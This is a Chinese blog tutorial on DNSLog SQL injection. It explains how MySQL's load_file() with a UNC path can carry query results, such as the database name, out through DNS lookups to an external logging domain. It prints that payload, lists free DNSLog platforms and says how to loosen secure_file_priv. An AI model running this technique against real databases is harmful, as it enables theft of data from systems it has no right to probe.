当前位置:网站首页>DNSLog注入
DNSLog注入
2022-06-28 17:16:00 【errorr0】
这个漏洞不仅仅只是对SQL注入的利用,还是利用到load_file()这个函数解析DNS时带出的数据漏洞。
域名解析
域名不用说,懂点计算机的都听过,我想也大概了解DNS解析这个玩意儿。简单来说就是把一个域名通过一个服务器解析得到一个对应的IP地址,而这个解析的过程中又是一层一层的解析。

域名总共有5级,从右至左解析,从右至左域名等级降低。用点号 . 分割级别,低级别的域名要在高级别的域名中去解析,所以如果有一个域名为:zc1t6a.dnslog.cn ,而还有一个域名为database.zc1t6a.dnslog.cn,后者解析时在比他高级别的域名(即前面那个域名)中执行,这种解析会留下一些解析数据,也就可以理解为间接性的将敏感数据携带出来。
由于每一级域名的长度只能为63个字符,所以在MYSQL中获取到超过63个字节的字符时,会被当作一个错误的域名,不会产生去解析的动作,所以zc1t6a.dnslog.cn也不会收到解析的记录,所以我们就获取不到想要的信息了,如果遇到了大于63的就用substring()截断读取。

顺便一提,域名里还有一个规则,就是只能出现数字,字母,下划线等数据。所以如果在获取到的信息中包含了其他特殊符号时,load_file()就会认为是一个错误的域名,就不会去从网络中解析了。虽然如此但是方法总是有的比如replace替换,最后得到的数据我们再换回即可。
UNC路径
在了解UNC路径前看一个DNSLog注入的payload
select load_file(concat('\\\\',(select database()),'.jtc581.dnslog.cn/abc'));这里的payload有个让人不懂的问题,就是concat()的第一个参数用的是 '\\\\' ,如果把它替换为其他的数据会怎样呢?有兴趣可以自己试一下,如果替换了DNS解析就带不出数据了,为什么?这就是我想要说的UNC路径的格式,读取远程文件就要用到UNC路径。
UNC(Universal Naming Convention),通用的命名规则,也称通用命名规范、通用命名约定。UNC为网络(主要指局域网)上资源的完整Windows 2000名称。
1、UNC路径就是类似\\softer这样的形式的网络路径(即前面是带双反斜杠的)。
2、UNC为网络(主要指局域网)上资源的完整Windows 2000名称。
格式:\\servername\sharename,其中servername是服务器名。sharename是共享资源的名称。
目录或文件的UNC名称可以包括共享名称下的目录路径,格式为:\\servername\sharename\directory\filename。
UNC共享就是指网络硬盘的共享,当访问softer计算机中名为it168的共享文件夹,用UNC表示就是\\softer\it168;如果是softer计算机的默认管理共享C$则用\\softer\c$来表示。
我们访问网上邻居所采用的命令行访问法,实际上应该称作UNC路径访问法。
(以上UNC的解释来自百度百科)。
既然UNC的格式是两个反斜杠那我们用四个反斜杠干嘛?答案当然是因为反斜杠有着转义的作用,所以一个反斜杠转义另一个反斜杠,最后起到字面上反斜杠的意思的只有两个。
DNSLog利用的条件
DNSLog需要利用的load_file(),所以load_file()能使用的权限是必不可少的,load_file()的使用条件是root且配置得有一定要求,使用命令show variables like "%secure%"查询权限如下:
1、当secure_file_priv为空,就可以读取磁盘的目录。
2、当secure_file_priv为 /,就可以读取根目录 / 下的文件。
3、当secure_file_priv为NULL,load_file就不能加载文件。

如果为NULL,修改的方式如下
windows:修改my.ini 在[mysqld]内加入secure_file_priv = ''
linux:修改my.cnf 在[mysqld]内加入secure_file_priv =''
这个与into outfile 和 into dumpfile 利用的条件类似。
前面说到DNS解析是低级别的在高级别的域名中解析,那么如果为了学习这玩意儿,我们每个人都需要买一个域名那太麻烦了。还好有一些平台给我们提供了可免费测试DNSLog的临时域名(太良心了)。
http://www.dnslog.cn
http://admin.dnslog.link
http://ceye.io
我个人是更偏向于第一个,主要是比较方便。
DNSLog注入测试
那么就简单测试一下查库、查表、查列、查字段中的查库了解一下。

使用load指令:
select load_file(concat('\\\\',(select database()),'.xiw0zu.dnslog.cn/abc'));

查库、查表、查列、查字段等就是用常规的手法加上之前写的绕过即可完成。

做题目也是如此,在闭合以后能使用load_file()即可利用DNSLog注入。
参考:UNC路径_weixin_33924312的博客-CSDN博客
边栏推荐
- 强化学习在黄页商家智能聊天助手中的探索实践
- Does rapid software delivery really need to be at the cost of security?
- 2022危险化学品生产单位安全生产管理人员复习题及答案
- 阿里云服务器里装的mysql是8版本的,是因为dataworks的mysql驱动版本不支持吗?现在提
- [dark horse morning post] Tencent responded that a large number of users' QQ numbers were stolen; Weiya's husband company was fined 190000 yuan; China Evergrande is applied for liquidation; Guanxiaoto
- 2022a special equipment related management (elevator) special operation certificate examination question bank and online simulation examination
- Logback log output format
- How to back up a WordPress database
- IP problem occurs when a virtual system is cloned in VirtualBox
- 2022A特种设备相关管理(电梯)特种作业证考试题库及在线模拟考试
猜你喜欢

听说转行软件测试只能自学,培训机构是个坑?
![[dark horse morning post] Tencent responded that a large number of users' QQ numbers were stolen; Weiya's husband company was fined 190000 yuan; China Evergrande is applied for liquidation; Guanxiaoto](/img/d7/4671b5a74317a8f87ffd36be2b34e1.jpg)
[dark horse morning post] Tencent responded that a large number of users' QQ numbers were stolen; Weiya's husband company was fined 190000 yuan; China Evergrande is applied for liquidation; Guanxiaoto

传统运维不得不会的zabbix监控(你早起,我早起,我们迟早在一起)
![[official cooperation between Shang Silicon Valley and Tencent cloud] video release of Silicon Valley classroom project](/img/06/b786166317f2d66e1c61133f427630.jpg)
[official cooperation between Shang Silicon Valley and Tencent cloud] video release of Silicon Valley classroom project

Solve the problem of sqoop error manager SqlManager: Generic SqlManager. listDatabases() not implemented

Nuc980 heartbeat light

Idea of capturing mobile terminal variant combination

Redis master-slave replication, sentinel, cluster cluster principle + experiment (wait, it will be later, but it will be better)

Gestion des journaux sauvegarde et récupération des journaux dans MySQL

2022a special equipment related management (elevator) special operation certificate examination question bank and online simulation examination
随机推荐
Anesthesia is not as simple as "one injection". Painless, safe and comfortable anesthesia is the first choice for patients
Redis持久化(少年一贯快马扬帆,道阻且长不转弯)
MCU modifies network hardware driver (PHY chip replacement)
IP problem occurs when a virtual system is cloned in VirtualBox
7-user input and while loop
Redis主从复制、哨兵、cluster集群原理+实验(好好等,会晚些,但会更好)
VirtualBox中克隆了一个虚拟系统出现IP问题
Exploration and practice of reinforcement learning in yellow page merchants' intelligent chat assistant
rsync 远程同步(日落尤其温柔的人间皆是浪漫)
TDengine ×英特尔 边缘洞见软件包 加速传统行业的数字化转型
Improving observability - business indicator monitoring practice
几行代码就能实现复杂的 Excel 导入导出,这个工具类真心强大!
11 effective ways to enhance WordPress
传统运维不得不会的zabbix监控(你早起,我早起,我们迟早在一起)
WSUS client access server exception error -0x8024401f "suggestions collection"
From Mogao Grottoes to the Pacific Ocean, massive data have found new homes
58技术沙龙第三十一期|Flutter动态化专题沙龙
使用Pega进行一个简单的RPA程序开发
"Jay bear" plummeted by 96.6%. Why is NFT with star goods cold?
How to put your WordPress website in maintenance mode